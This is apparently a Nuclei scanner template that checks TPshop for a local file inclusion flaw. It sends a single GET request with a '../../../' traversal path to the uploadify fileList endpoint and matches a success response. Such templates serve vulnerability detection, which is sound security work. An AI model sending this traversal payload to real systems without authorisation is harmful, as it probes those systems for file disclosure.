id: tpshop-directory-traversal

info:
  name: TPshop - Local File Inclusion
  author: pikpikcu
  severity: high
  description: TPshop is vulnerable to local file inclusion.
  reference:
    - https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: tpshop,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/Home/uploadify/fileList?type=.+&path=../../../"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"state":"SUCCESS"'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008731cd097ad188ad3a2fdcee9291473882fef5f760d07272bcca0e98d95a18bf02202963a0a41e5b00ba67b21497c944cb732e63590131ed46f0b5d8d27fdb14896e:922c64590222798bb761d5b6d8e72950